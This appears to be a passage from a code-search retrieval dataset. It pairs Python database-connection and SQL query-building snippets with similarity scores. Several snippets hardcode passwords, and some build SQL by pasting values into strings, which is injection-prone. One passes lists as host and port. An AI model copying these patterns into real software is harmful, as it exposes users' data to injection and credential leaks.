user=sqlconf.MysqlConfig['user'],\\n passwd=sqlconf.MysqlConfig['passwd'],\\n charset=sqlconf.MysqlConfig['charset'],\\n mincached=sqlconf.MysqlConfig['mincached'],\\n maxcached=sqlconf.MysqlConfig['maxcached'],\\n maxconnections=sqlconf.MysqlConfig['maxconnections'])\\n # 返回连接池中连接对象\\n return Mysql.__mysql_pool.connection()\",\n \"def connect(self):\\r\\n\\r\\n db_config = read_db_config()\\r\\n\\r\\n try:\\r\\n print('Connecting to MySQL database...')\\r\\n conn = MySQLConnection(**db_config)\\r\\n\\r\\n if conn.is_connected():\\r\\n print('connection established.')\\r\\n return conn\\r\\n else:\\r\\n print('connection failed.')\\r\\n\\r\\n except Error as e:\\r\\n print(e)\",\n \"def getclient(hosts,replicaset,db_name,db_user,db_pwd):\\n conn = MongoClient(hosts,replicaSet=replicaset,read_preference=ReadPreference.SECONDARY_PREFERRED)\\n conn[db_name].authenticate(db_user,db_pwd,mechanism='SCRAM-SHA-1')\\n return conn\",\n \"def _GetNewConnection(self):\\n l_logger.debug(\\\"Creating a db connection\\\")\\n return mdb.connect(host=self.host,\\n user=self.user, \\n password=self.passwd, \\n database=self.db_name,\\n port=self.port\\n )\",\n \"def get_db():\\n # when used with a `file` object, `with` ensures it gets closed\\n # pylint: disable=no-member\\n with file('config.json') as config_file:\\n config = json.load(config_file)\\n return cx_Oracle.connect(config['user'], config['pass'], config['host'])\",\n \"def get_db():\\n # when used with a `file` object, `with` ensures it gets closed\\n # pylint: disable=no-member\\n with file('config.json') as config_file:\\n config = json.load(config_file)\\n return cx_Oracle.connect(config['user'], config['pass'], config['host'])\",\n \"def obtainDatabaseConnection(self):\\n\\t\\tself.databaseConnector = DatabaseConnector()\",\n \"def conn(self):\\n try:\\n if self._db is None:\\n self._db = sqlc.connect(user=self.login,\\n password=self.passwd,\\n host=self.host,\\n database=self.database)\\n\\n except sqlc.Error as e:\\n print (\\\"MySQL exception #{0} getting connection: {1}\\\".format(e.errno, e.msg))\\n if e.errno == 2003:\\n exit(-1)\\n except Exception as e:\\n print (\\\"Couldn't get connection property: {0}\\\".format(e.message))\\n finally:\\n return self._db\",\n \"def get_connection(self):\\n if self.__connection is None:\\n from pymongo import MongoClient\\n from ir_config import IRConfig\\n self.__connection = MongoClient(\\n IRConfig.get_instance().get('db_host', self.__default_host), \\n IRConfig.get_instance().get_int('db_port', self.__default_port))\\n return self.__connection\",\n \"def _connect(config: dict) -> pw.Database:\\n\\n try:\\n db = db_url.connect(config.get(\\\"url\\\", \\\"sqlite:///:memory:\\\"))\\n except RuntimeError as e:\\n raise pw.OperationalError(\\\"Database connect failed\\\") from e\\n\\n # dynamically make the database instance also inherit from\\n # `RetryOperationalError`, so that it retries operations in case of\\n # transient database failures\\n db.__class__ = type(\\\"RetryableDatabase\\\", (RetryOperationalError, type(db)), {})\\n\\n return db\",\n \"async def _get_db_connection():\\n return await gino.Gino(get_database_dsn())\",\n \"def _connect(self):\\n if self.cluster.get('encrypted_password'):\\n self.cluster['password'] = aws_etl.utils.decrypt(\\n self.cluster['encrypted_password'])\\n\\n self.connection = connect(\\n host=self.cluster['host'],\\n port=self.cluster['port'],\\n sslmode='require',\\n user=self.cluster['user'],\\n password=self.cluster['password'],\\n database=self.cluster['database'])\\n return self.connection\",\n \"def __KConnectDB(self):\\n try:\\n conn= kdb.connect(dsn = self.__dsn,\\n user = self.user_name.encode(),\\n password= self.user_password.encode(),\\n charset = self.character_set.encode(),\\n dialect = int(self.sql_dialect))\\n except:\\n self.__result.NoteException(cause=\\\"Exception raised while connecting to database.\\\")\\n else:\\n return conn\",\n \"def get_connection(cls):\\n return cls.database.connection\",\n \"def get_connection():\\n\\n return MongoClientManager().client.__getattr__(MONGODB_SETTINGS['db'])\",\n \"def connect_db():\\n db = psycopg2.connect(\\n dbname=app.config['DBNAME'],\\n user=app.config['DBUSER'],\\n password=app.config['DBPASSWORD'],\\n host=app.config['DBHOST'],\\n port=app.config['DBPORT']\\n )\\n return db\",\n \"def get_connection():\\n return MongoClient(\\\"mongodb://username:password@localhost:27017\\\")\",\n \"def get_connection(\\n host=\\\"localhost\\\",\\n port=27017,\\n username=None,\\n password=None,\\n uri=None,\\n mongodb=None,\\n authdb=None,\\n timeout=30000, # default according MongoDB documentation\\n *args,\\n **kwargs,\\n):\\n authdb = authdb or mongodb\\n\\n if uri is None:\\n if username and password:\\n uri = \\\"mongodb://{}:{}@{}:{}/{}\\\".format(\\n quote_plus(username), quote_plus(password), host, port, authdb\\n )\\n else:\\n uri = \\\"mongodb://%s:%s\\\" % (host, port)\\n\\n client = MongoClient(uri, serverSelectionTimeoutMS=timeout)\\n try:\\n server_info = client.server_info()\\n LOG.info(f\\\"Connected to MongoDB {server_info.get('version')}\\\")\\n except (ServerSelectionTimeoutError, OperationFailure, ConnectionFailure) as err:\\n LOG.warning(f\\\"Database connection error:{err}\\\")\\n\\n return client\",\n \"def pg_get_conn(database=\\\"fakenews\\\", user=\\\"fakenews\\\", password=\\\"fnd\\\"):\\n try:\\n conn = psycopg2.connect(database=\\\"fakenews\\\",\\n user=\\\"fakenews\\\", password=\\\"fnd\\\", host='localhost', port='5432')\\n return conn\\n except Exception as e:\\n print(str(e))\",\n \"def connect(self):\\n try:\\n connect = psycopg2.connect(\\\"\\\"\\\"\\n dbname=ovdata_db \\n user=larsstegman \\n host=localhost \\n password=password\\n \\\"\\\"\\\")\\n return connect\\n except Exception as e:\\n return ConnectionError()\",\n \"def _dbconnect(self):\\n user = mm_cfg.STORM_MEMBER_DB_USER\\n password = mm_cfg.STORM_MEMBER_DB_PASS\\n host = mm_cfg.STORM_MEMBER_DB_HOST\\n dbname = mm_cfg.STORM_MEMBER_DB_NAME\\n\\n\\n db = 'postgres://'+user+':'+password+'@'+host+'/'+dbname\\n return create_database(db)\",\n \"def _get_db_connection(name='ace'):\\n\\n if name is None:\\n name = 'ace'\\n\\n #if _cached_db_connections_enabled():\\n #return _get_cached_db_connection(name)\\n\\n config_section = 'ace'\\n if name:\\n config_section = 'database_{}'.format(name)\\n\\n if config_section not in saq.CONFIG:\\n raise ValueError(\\\"invalid database {}\\\".format(name))\\n\\n _section = saq.CONFIG[config_section]\\n kwargs = {\\n 'db': _section['database'],\\n 'user': _section['username'],\\n 'passwd': _section['password'],\\n 'charset': 'utf8'\\n }\\n\\n if 'hostname' in _section:\\n kwargs['host'] = _section['hostname']\\n\\n if 'port' in _section:\\n kwargs['port'] = _section.getint('port')\\n \\n if 'unix_socket' in _section:\\n kwargs['unix_socket'] = _section['unix_socket']\\n\\n if 'ssl_ca' in _section or 'ssl_key' in _section or 'ssl_cert' in _section:\\n kwargs['ssl'] = {}\\n\\n if 'ssl_ca' in _section and _section['ssl_ca']:\\n path = abs_path(_section['ssl_ca'])\\n if not os.path.exists(path):\\n logging.error(\\\"ssl_ca file {} does not exist (specified in {})\\\".format(path, config_section))\\n else:\\n kwargs['ssl']['ca'] = path\\n\\n if 'ssl_key' in _section and _section['ssl_key']:\\n path = abs_path(_section['ssl_key'])\\n if not os.path.exists(path):\\n logging.error(\\\"ssl_key file {} does not exist (specified in {})\\\".format(path, config_section))\\n else:\\n kwargs['ssl']['key'] = path\\n\\n if 'ssl_cert' in _section and _section['ssl_cert']:\\n path = _section['ssl_cert']\\n if not os.path.exists(path):\\n logging.error(\\\"ssl_cert file {} does not exist (specified in {})\\\".format(path, config_section))\\n else:\\n kwargs['ssl']['cert'] = path\\n\\n logging.debug(\\\"opening database connection {}\\\".format(name))\\n return pymysql.connect(**kwargs)\\n #return pymysql.connect(host=_section['hostname'] if 'hostname' in _section else None,\\n #port=3306 if 'port' not in _section else _section.getint('port'),\\n #unix_socket=_section['unix_socket'] if 'unix_socket' in _section else None,\\n #db=_section['database'],\\n #user=_section['username'],\\n #passwd=_section['password'],\\n #charset='utf8')\",\n \"def __get_open_connection(self, connection_hash):\\n db = MySQLdb.connect(\\n host=connection_hash[\\\"host\\\"],\\n user=connection_hash[\\\"user\\\"],\\n passwd=connection_hash[\\\"password\\\"],\\n db=connection_hash[\\\"dbname\\\"]\\n )\\n return db\",\n \"def connect(self):\\n\\t\\ttry:\\n\\t\\t\\tdb = MySQLdb.connect(self.hostname, self.username, self.password, self.db)\\n\\t\\texcept Exception as err:\\n\\t\\t\\traise(err)\\n\\t\\treturn db\",\n \"def getDatabaseConnection(self):\\n \\n strConn = \\\"dbname='\\\" + self.__dbname + \\\"' user='\\\" + self.__user + \\\"' host='\\\" + self.__host + \\\"' port='\\\" + self.__port + \\\"' password='\\\" + self.__password + \\\"'\\\"\\n return strConn\",\n \"def return_connection(db_key):\\n\\n config = load_config()\\n\\n db = config[db_key][\\\"database_name\\\"]\\n user = config[db_key][\\\"database_user\\\"]\\n host = \\\"localhost\\\"\\n password = config[db_key][\\\"database_pass\\\"]\\n\\n return \\\"\\\"\\\"dbname=%s user=%s password=%s host=%s\\\"\\\"\\\" % (db, user, password,\\n host)\",\n \"def get_connection():\\n\\t# flask.g documentation: http://flask.pocoo.org/docs/0.12/api/#flask.g\\n\\ttry:\\n\\t\\tconn = flask.g._database_connection\\n\\texcept AttributeError:\\n\\t\\tconn = flask.g._database_connection = sqlite3.connect(config.PATH_DATABASE,\\n\\t\\t\\t\\tdetect_types=sqlite3.PARSE_DECLTYPES) # allows storing datetime, etc.\\n\\t\\tconn.row_factory = sqlite3.Row\\n\\treturn conn\",\n \"async def connection():\\n return await r.connect(db='main_db')\",\n \"def get_connection(self):\\n import psycopg2 as dbapi\\n self.get_input()\\n conn = dbapi.connect(host=self.opts[\\\"host\\\"],\\n port=int(self.opts[\\\"port\\\"]),\\n user=self.opts[\\\"user\\\"],\\n password=self.opts[\\\"password\\\"],\\n database=self.opts[\\\"database\\\"])\\n encoding = ENCODING.lower()\\n if self.script.encoding:\\n encoding = self.script.encoding.lower()\\n encoding_lookup = {'iso-8859-1': 'Latin1', 'latin-1': 'Latin1', 'utf-8': 'UTF8'}\\n db_encoding = encoding_lookup.get(encoding)\\n conn.set_client_encoding(db_encoding)\\n return conn\",\n \"def __init__(self, credentials=None, connection=None):\\n if credentials is not None:\\n self.connection = pymysql_driver.connect(\\n user=credentials['user'],\\n password=credentials['password'],\\n host=credentials['host'],\\n database=credentials['database'],\\n autocommit=False,\\n connect_timeout=2,\\n cursorclass=pymysql_driver.cursors.DictCursor\\n )\\n elif connection is not None:\\n self.connection = connection\\n else:\\n raise ValueError(\\\"Must provide either the database credentials or connection object\\\")\",\n \"def get_conn(args):\\n\\n if args == 'localhost':\\n conn = pymysql.connect(\\\"localhost\\\", \\\"root\\\", \\\"\\\", \\\"song_identifier\\\")\\n elif args == 'remote':\\n conn = pymysql.connect(\\n host=MYSQL_HOST,\\n port=MYSQL_PORT,\\n user=MYSQL_USER,\\n password=MYSQL_PASSWORD,\\n db=MYSQL_DB\\n )\\n\\n return [conn, conn.cursor()]\",\n \"def connect_db(host=None, user=None, pwd=None, db_name=None):\\n db_c = MySQLdb.connect(host, user, pwd, db_name)\\n return db_c\",\n \"def connect(database_name=\\\"tournament\\\"):\\n try: \\n db = psycopg2.connect(\\\"dbname={}\\\".format(database_name))\\n cursor = db.cursor()\\n return db, cursor\\n except:\\n print \\\"Error Connecting to Database\\\"\",\n \"def get_connection(self):\\n self._logger.info(ME + '.get_connection()')\\n #self._logger.debug(str(CONNECTION_VALUES))\\n tmp_connection = mysql.connector.connect(\\n user =CONNECTION_VALUES['user'],\\n password=CONNECTION_VALUES['passwd'],\\n database=CONNECTION_VALUES['schema'],\\n host =CONNECTION_VALUES['host'],\\n port =CONNECTION_VALUES['port']\\n )\\n tmp_cursor = tmp_connection.cursor()\\n\\n return tmp_connection, tmp_cursor\",\n \"def _get_connection(reconnect=False):\\n global _connection\\n identity = get_identity()\\n # Connect to the database if not already connected\\n if _connection.get(identity) is None or reconnect:\\n try:\\n _connection[identity] = Connection(**_connection_settings)\\n except Exception, e:\\n raise ConnectionError(\\\"Cannot connect to the database:\\\\n%s\\\" % e)\\n return _connection[identity]\",\n \"def get_con(s_name, auth_path=None, db=None):\\n con=None\\n auth_path = os.path.dirname(os.path.abspath(__file__)) + '/db.csv' if auth_path is None else auth_path\\n csv_path=util.format_path(auth_path)\\n t_db=pd.read_csv(csv_path)\\n #t_db.fillna(None, inplace=True)\\n t_db=t_db[t_db['ID']==s_name]\\n if len(t_db)==0:\\n util.error_msg('Database %s is not defined!' % s_name)\\n one=t_db.iloc[0]\\n s_db=db or one['DB']\\n if one['TYPE']=='MYSQL':\\n import MySQLdb as mysql\\n #print one['HOST'], one['USR'], one['PWD'], s_db\\n if not one['PORT'] or pd.isnull(one['PORT']):\\n con=mysql.connect(one['HOST'], one['USR'], one['PWD'], s_db, port=3306, charset='utf8')\\n else:\\n con=mysql.connect(one['HOST'], one['USR'], one['PWD'], s_db, port=int(one['PORT']), charset='utf8')\\n elif one['TYPE']=='POSTGRES':\\n import pgdb\\n # make sure you do:\\n #module load postgresql/9.2.4\\n #export LD_LIBRARY_PATH=.:/tools/GNU/postgresql/9.2.4/lib/\\n con=pgdb.connect(one['CONNECT'])\\n elif one['TYPE']=='ORACLE':\\n import cx_Oracle as oracle\\n con=oracle.connect(one['CONNECT'])\\n else:\\n util.error_msg('Unsupported database engine: %s' % one['TYPE'])\\n return con\",\n \"def connect():\\n\\n try:\\n return psycopg2.connect(\\n dbname = os.environ['DATABASE_NAME'],\\n user = os.environ['DATABASE_USER'],\\n password = os.environ['DATABASE_PASSWORD'],\\n host = ['DATABASE_HOST'],\\n port = ['DATABASE_PORT']\\n )\\n\\n except (Exception, psycopg2.DatabaseError) as error:\\n print(error)\",\n \"def _wh_connect():\\n utils = Utility()\\n config = utils.CONFIG\\n conn = utils.get_plugin(config.PATH_CONNECTION_MANAGERS)\\n conn.connect(config.URL_TEST_DB)\\n return conn\",\n \"def connect_to_db(cls):\\n conn = psycopg2.connect(os.environ['DATABASE_URL'])\\n conn.autocommit = True\\n cursor = conn.cursor()\\n\\n return cursor\",\n \"def getDB(self):\\r\\n return MySQLdb.connect(user=\\\"root\\\", passwd=\\\"asdf\\\", db=\\\"cloudchatdb\\\", connect_timeout=30, charset=\\\"utf8\\\")\",\n \"def connect() -> None:\\n # attempt to load a database extension\\n global _db_ext\\n _db_ext = extensions.database_extension()\\n if _db_ext is None:\\n # The fallback gets implemented via the default_cap\\n # dict defined in _capability()\\n log.debug(\\\"Using internal database module.\\\")\\n _db_ext = dict()\\n\\n # Tell everyone whether we're threadsafe\\n global threadsafe\\n threadsafe = _capability(\\\"reentrant\\\")\\n\\n # If fetch the database config, if present\\n if \\\"database\\\" in config.config:\\n database_config = config.config[\\\"database\\\"]\\n else:\\n database_config = dict()\\n\\n # Call the connect function from the database extension (or fallback)\\n func = _capability(\\\"connect\\\")\\n if func is None:\\n func = _connect\\n db = func(config=database_config)\\n\\n database_proxy.initialize(db)\\n\\n if isinstance(db, (pw.MySQLDatabase, pw.PostgresqlDatabase)):\\n db.field_types[\\\"enum\\\"] = \\\"enum\\\"\\n EnumField.native = True\\n else:\\n EnumField.native = False\",\n \"def connectionDB():\\n os.environ['GOOGLE_APPLICATION_CREDENTIALS'] = CREDENTIAL\\n client = bq.Client()\\n return client\",\n \"def connect(self):\\n if self.connection is not None:\\n logger.info(\\\" connection: %s \\\" % (self.connection is not None))\\n return self.connection\\n try:\\n self.connection = DataPostgres.connect(**self.options)\\n except Exception as e:\\n logger.critical(\\\"Unable to connect to DB: {0}\\\".format(e.message))\\n raise\\n\\n return self.connection\",\n \"def get_database() -> Database:\\n db_config = DatabaseConfig(DB_NAME)\\n return connect_to_db(db_config)\",\n \"def db_connect():\\n return create_engine(get_project_settings().get(\\\"CONNECTION_STRING\\\"))\",\n \"def db_connect():\\n return create_engine(get_project_settings().get(\\\"CONNECTION_STRING\\\"))\",\n \"def db_connect():\\n return create_engine(get_project_settings().get(\\\"CONNECTION_STRING\\\"))\",\n \"def db_connect():\\n return create_engine(get_project_settings().get(\\\"CONNECTION_STRING\\\"))\",\n \"def sql_connection():\\n return sqlite3.connect('database.db')\",\n \"def _db_credentials(self):\\n if self.password == \\\"\\\" or self.password == \\\"RUNTIME\\\":\\n sys.stdout.write(PROMPT + \\\"Database password: \\\")\\n sys.stdout.flush()\\n self.password = getpass.getpass()\\n elif self.password == \\\"ENV\\\":\\n self.password = os.environ[\\\"sql_password\\\"]\\n db_host = quote(self.hostname)\\n db_name = quote(self.database)\\n db_user = quote(self.username)\\n db_password = quote_plus(self.password)\\n if \\\"@\\\" in db_password:\\n logging.warning(\\n \\\"%sWARNING:%s Using the '@' symbol in your database password can cause login issues with SQL Alchemy.%s\\\"\\n % (WARN + bold + R, W, WARN)\\n )\\n return db_host, db_name, db_user, db_password\",\n \"def get_sql_conn():\\r\\n\\r\\n # get config information\\r\\n config = configparser.ConfigParser()\\r\\n config.sections()\\r\\n config.read('../config.ini')\\r\\n dbname = config['PostgresDB']['db_name']\\r\\n host = config['PostgresDB']['host']\\r\\n port = config['PostgresDB']['port']\\r\\n user = config['PostgresDB']['user']\\r\\n pw = config['PostgresDB']['pw']\\r\\n\\r\\n # connect to the database\\r\\n conn = psycopg2.connect(host=host, port=port, database=dbname,\\r\\n user=user, password=pw)\\r\\n return conn\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.7528545","0.7352598","0.7319592","0.7257597","0.7221091","0.7190557","0.7125156","0.7116309","0.70870197","0.7086611","0.7075302","0.70648813","0.7061649","0.7060165","0.7057439","0.7055212","0.7048197","0.70444536","0.70107573","0.69982386","0.69969594","0.69882095","0.6984946","0.6975019","0.6958281","0.6932187","0.692202","0.6892194","0.6885479","0.6881408","0.68743795","0.6865796","0.6865325","0.68608165","0.68519664","0.6850695","0.68485504","0.68411416","0.68239695","0.6822656","0.68213636","0.681818","0.68137896","0.68134844","0.6807615","0.68058693","0.6800778","0.67865276","0.6784592","0.67780584","0.6746127","0.6718486","0.671502","0.6713444","0.6713444","0.67063975","0.67058885","0.6691492","0.6690724","0.6684578","0.6681382","0.6668829","0.66563386","0.6651667","0.6644073","0.66285104","0.6624095","0.6612607","0.6606102","0.6602268","0.6600613","0.65993893","0.65919495","0.65909374","0.6581611","0.6565825","0.6561094","0.6551421","0.65502137","0.65447754","0.65434563","0.65424633","0.6541959","0.6537664","0.6536312","0.6534511","0.6534467","0.65260315","0.6522702","0.6522332","0.6522094","0.6517182","0.651538","0.6514759","0.6514759","0.6514759","0.6514759","0.6512549","0.65120775","0.65100247"],"string":"[\n \"0.7528545\",\n \"0.7352598\",\n \"0.7319592\",\n \"0.7257597\",\n \"0.7221091\",\n \"0.7190557\",\n \"0.7125156\",\n \"0.7116309\",\n \"0.70870197\",\n \"0.7086611\",\n \"0.7075302\",\n \"0.70648813\",\n \"0.7061649\",\n \"0.7060165\",\n \"0.7057439\",\n \"0.7055212\",\n \"0.7048197\",\n \"0.70444536\",\n \"0.70107573\",\n \"0.69982386\",\n \"0.69969594\",\n \"0.69882095\",\n \"0.6984946\",\n \"0.6975019\",\n \"0.6958281\",\n \"0.6932187\",\n \"0.692202\",\n \"0.6892194\",\n \"0.6885479\",\n \"0.6881408\",\n \"0.68743795\",\n \"0.6865796\",\n \"0.6865325\",\n \"0.68608165\",\n \"0.68519664\",\n \"0.6850695\",\n \"0.68485504\",\n \"0.68411416\",\n \"0.68239695\",\n \"0.6822656\",\n \"0.68213636\",\n \"0.681818\",\n \"0.68137896\",\n \"0.68134844\",\n \"0.6807615\",\n \"0.68058693\",\n \"0.6800778\",\n \"0.67865276\",\n \"0.6784592\",\n \"0.67780584\",\n \"0.6746127\",\n \"0.6718486\",\n \"0.671502\",\n \"0.6713444\",\n \"0.6713444\",\n \"0.67063975\",\n \"0.67058885\",\n \"0.6691492\",\n \"0.6690724\",\n \"0.6684578\",\n \"0.6681382\",\n \"0.6668829\",\n \"0.66563386\",\n \"0.6651667\",\n \"0.6644073\",\n \"0.66285104\",\n \"0.6624095\",\n \"0.6612607\",\n \"0.6606102\",\n \"0.6602268\",\n \"0.6600613\",\n \"0.65993893\",\n \"0.65919495\",\n \"0.65909374\",\n \"0.6581611\",\n \"0.6565825\",\n \"0.6561094\",\n \"0.6551421\",\n \"0.65502137\",\n \"0.65447754\",\n \"0.65434563\",\n \"0.65424633\",\n \"0.6541959\",\n \"0.6537664\",\n \"0.6536312\",\n \"0.6534511\",\n \"0.6534467\",\n \"0.65260315\",\n \"0.6522702\",\n \"0.6522332\",\n \"0.6522094\",\n \"0.6517182\",\n \"0.651538\",\n \"0.6514759\",\n \"0.6514759\",\n \"0.6514759\",\n \"0.6514759\",\n \"0.6512549\",\n \"0.65120775\",\n \"0.65100247\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.8073522"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":82186,"cells":{"query":{"kind":"string","value":"(obj) > (str) Building query for execution"},"document":{"kind":"string","value":"def _build_test_query01(self):\n\n\t\tquery = 'select \"GLOBALEVENTID\", \"SQLDATE\", \"MonthYear\", \"Year\" ' + \\\n\t\t\t\t\t 'from \"DEMOUSER00\".\"uni.vlba.gdelt.data::gdelt_dailyupdates\"'\t\t\n\n\t\treturn query"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def make_query(self):","def generate_query(self):\n return","def query(self, query):","def _build_query(self, **query):\n\n available_fields = list(self.model._available_fields.keys())\n\n q_str = ''\n for key, val in list(query.items()):\n # Get the field and the operator from the query\n key_field, key_sep, key_oper = key.partition('__')\n\n if key_field == 'pk' and 'id' not in query:\n key_field = 'id'\n\n if key_field in available_fields:\n if q_str != '':\n q_str += ' AND '\n\n if_cstm = ''\n if key_field.endswith('_c'):\n if_cstm = '_cstm'\n\n field = self.model._table + if_cstm + '.' + key_field\n\n if key_oper in ('exact', 'eq') or (not key_oper and not key_sep):\n q_str += '%s = \"%s\"' % (field, val)\n elif key_oper == 'contains':\n q_str += '%s LIKE \"%%%s%%\"' % (field, val)\n elif key_oper == 'startswith':\n q_str += '%s LIKE \"%s%%\"' % (field, val)\n elif key_oper == 'in':\n q_str += '%s IN (' % field\n for elem in val:\n q_str += \"'%s',\" % elem\n q_str = q_str.rstrip(',')\n q_str += ')'\n elif key_oper == 'gt':\n q_str += '%s > \"%s\"' % (field, val)\n elif key_oper == 'gte':\n q_str += '%s >= \"%s\"' % (field, val)\n elif key_oper == 'lt':\n q_str += '%s < \"%s\"' % (field, val)\n elif key_oper == 'lte':\n q_str += '%s <= \"%s\"' % (field, val)\n else:\n raise LookupError('Unsupported operator')\n\n return q_str","def _make_query(self):\r\n raise NotImplementedError()","def _assemble(self):\n selectop = self._headopt and f'{self._headopt}' or ''\n select = f'{selectop} ' + ', '.join(self._head)\n froms = 'from ' + ', '.join(self._tables)\n joins = ' '.join(self._joins)\n wheres, wkw = self._build_where()\n\n order = ''\n if self._order:\n order = f'order by {self._order[0]} {self._order[1]}'\n limit = ''\n if self._limit:\n limit = f'limit {self._limit}'\n\n kw = self._kw.copy()\n kw.update(wkw)\n return (f'select {select} '\n f'{froms} '\n f'{joins} '\n f'{wheres} '\n f'{order} '\n f'{limit}'\n ), kw","def query(self):","def build(self):\n return self._sql.strip()","def make_complex_query_set(self):\n\n query = self.request.GET.get(\"q\")\n program_id = self.request.META.get('HTTP_X_SVMS_PROGRAM_ID')\n category = self.request.GET.get(\"category\")\n title = self.request.GET.get(\"title\")\n level = self.request.GET.get(\"level\")\n description = self.request.GET.get(\"description\")\n status = self.request.GET.get(\"status\")\n job_tag = self.request.GET.get(\"job_tag\")\n\n q_object = Q()\n\n if query:\n q_object.add((\n Q(program_id=query) |\n Q(category=query) |\n Q(title__icontains=query) |\n #Q(category__category_name__icontains=query) |\n Q(description__icontains=query) |\n Q(job_tag__tag__in=str(query).split(\",\"))\n ), Q.OR)\n\n if query.isnumeric():\n q_object.add(\n Q(level__icontains=int(query)), Q.OR)\n\n q_object.add(Q(status=strtobool(query)), Q.OR) if query in [\n \"true\", \"True\", \"False\", \"false\"] else None\n\n else:\n if program_id:\n q_object.add(\n Q(program_id=program_id),\n Q.AND)\n\n if category:\n q_object.add(\n Q(category=category),\n Q.AND)\n if title:\n q_object.add(\n Q(title__icontains=title),\n Q.AND)\n\n if description:\n q_object.add(\n Q(description__icontains=description), Q.AND)\n\n if job_tag:\n q_object.add(\n Q(job_tag__tag__in=str(job_tag).split(\",\")),\n Q.AND)\n\n if level:\n if level.isnumeric():\n q_object.add(\n Q(level__icontains=int(level)),\n Q.AND)\n else:\n raise Exception(\n ErrorMessage.WRONG_FIELD_TYPE.value.format(\"level\",\n \"numeric\"))\n\n q_object.add(Q(status=strtobool(status)), Q.AND) if status in [\n \"true\", \"True\", \"False\", \"false\"] else None\n\n return q_object","def query3() :","def __str__(self):\n return self.sql()","def __str__(self):\n query = []\n\n if self.root:\n query.append('query')\n\n if self.alias is not None:\n query.append(self.alias + ':')\n\n if self.name is not None:\n query.append(str(self.name))\n\n if self.filters:\n query.append('(')\n for k,v in self.filters.items():\n query.append('{k}:\"{v}\"'.format(k=k, v=v))\n query.append(')')\n\n if self.children:\n query.append('{')\n if self.children:\n for idx, f in enumerate(self.children.values()):\n query.append(str(f))\n if idx < len(self.children) - 1:\n query.append(',')\n\n query.append('}')\n\n return ''.join(query)","def query(self, obj):\r\n self.require_collection()\r\n request = http.Request('POST', self.get_url(), self.wrap_object(obj))\r\n\r\n return request, parsers.parse_json","def query(self, **kwargs):","def query(self):\n pass","def _run_query(self):","def __generateQuery(self, query):\n if query == None:\n return [\"1=1\"]\n elif type(query) is not list:\n return [query]\n else:\n return query","def sql(self, q):\r\n params = base.get_params(None, locals())\r\n url = '{0}/{1}'.format(self.get_url(), 'sql')\r\n\r\n return http.Request('POST', url, params), parsers.parse_json","def asString(self):\n q = self.copy()\n q.addFunction(Query.Function.AsString)\n return q","def get_query(self):\n columns = ','.join(['\"{}\"'.format(x) for x in self.columns])\n query = 'SELECT {} FROM \"{}\"'.format(columns, self.table)\n filter_params = []\n if self.filters:\n filter_sql, filter_params = filter_postgis(self.filters)\n query += ' WHERE {}'.format(filter_sql)\n query += ';'\n return str(text(query)), filter_params","def construct_query(self):\n reader = QueryReader(filepath=self.filepath, filename=self.filename, raw_sql=self.raw_sql, params=self.params)\n return reader.sql","def _query_builder(self,\n start_date=None,\n end_date=None,\n clipper=None\n ):\n search_string='format=json&lang=fr&q='\n if (start_date is not None):\n if(end_date is not None):\n search_string+='entre+'+start_date+'+et+'+end_date\n else:\n search_string+=start_date\n elif(end_date is not None): \n search_string+=end_date\n \n if(clipper.query is not None):\n query=clipper.query.replace(' ','+')\n search_string+='+'+query\n if(clipper.bbox is not None):\n search_string+='&box='+clipper.bbox\n\n return search_string","def __str__(self):\n return \"Query(constraints={},model={})\".format(\n [str(c) for c in self.constraints], self.model\n )","def _get_query(self):\n\n endpoint = ENDPOINTS[self.sync_data.endpoint_index]\n marker = self.sync_data.markers.get(self.sync_data.endpoint_index, START_OF_TIME)\n\n query_string = \"select \" + \",\".join(ENDPOINT_QUERY_FIELDS[endpoint])\n\n # ZOQL does not support the `order by` sorting\n query_string = query_string + \" from {} where UpdatedDate > '{}'\".format(\n endpoint,\n marker\n )\n\n return query_string","def _build_statement(self, query, query_key, beets_key):\n statement = \"\"\n if query_key in query:\n for query_string in query[query_key]:\n if '\"' in query_string:\n statement += \" and %s = \\'%s\\' \" % (beets_key,\n query_string)\n else:\n statement += ' and %s = \\\"%s\\\" ' % (beets_key,\n query_string)\n return statement","def make_query(self, query, data: Dict):\n return query.format_map(data)","def get_query(self):\n columns = ','.join(['\"{}\"'.format(x) for x in self._columns])\n query = 'SELECT {} FROM \"{}\"'.format(columns, self._table)\n filter_params = []\n if self._filters:\n filter_sql, filter_params = filter_postgis(self._filters)\n query += ' WHERE {}'.format(filter_sql)\n query += ';'\n return str(text(query)), filter_params","def gws_q(self, query, attribute, data):\n \n gws_q = query.format(attribute, data) #attribute = SQL table\n \n query_df = db.query(gws_q) \n return query_df","def __init__(self, query, from_field, to_field):\n self._query = '{!join}' + query\n self._from = from_field\n self._to = to_field","def salesforce_query(self, obj_name, **kwargs):\n query = \"SELECT \"\n if \"select\" in kwargs:\n query += kwargs[\"select\"]\n else:\n query += \"Id\"\n query += \" FROM {}\".format(obj_name)\n where = []\n for key, value in kwargs.items():\n if key == \"select\":\n continue\n where.append(\"{} = '{}'\".format(key, value))\n if where:\n query += \" WHERE \" + \" AND \".join(where)\n self.builtin.log(\"Running SOQL Query: {}\".format(query))\n return self.cumulusci.sf.query_all(query).get(\"records\", [])","def query(self):\r\n raise NotImplementedError","def get_query():\n query = \"\"\"{\n repository(name: \"flux\", owner: \"fluxcd\") {\n forkCount\n issues {\n totalCount\n }\n pullRequests {\n totalCount\n }\n releases {\n totalCount\n }\n stargazers {\n totalCount\n }\n watchers {\n totalCount\n }\n }\n}\n \"\"\"\n return query","def make_complex_query_set(self):\n\n query = self.request.GET.get(\"q\")\n category_name = self.request.GET.get(\"category_name\")\n o_net_soc_code = self.request.GET.get(\"o_net_soc_code\")\n description = self.request.GET.get(\"description\")\n job_title = self.request.GET.get(\"job_title\")\n level = self.request.GET.get(\"level\", '')\n\n q_object = Q()\n\n if query:\n q_object.add((\n Q(category__category_name__icontains=query) |\n Q(category__o_net_soc_code__icontains=query) |\n Q(category__description__icontains=query) |\n Q(category__job_title__description__icontains=query) |\n Q(category__job_title__title__icontains=query)\n ), Q.OR)\n\n if query.isnumeric():\n q_object.add(\n Q(category__job_title__level__icontains=int(query)), Q.OR)\n\n 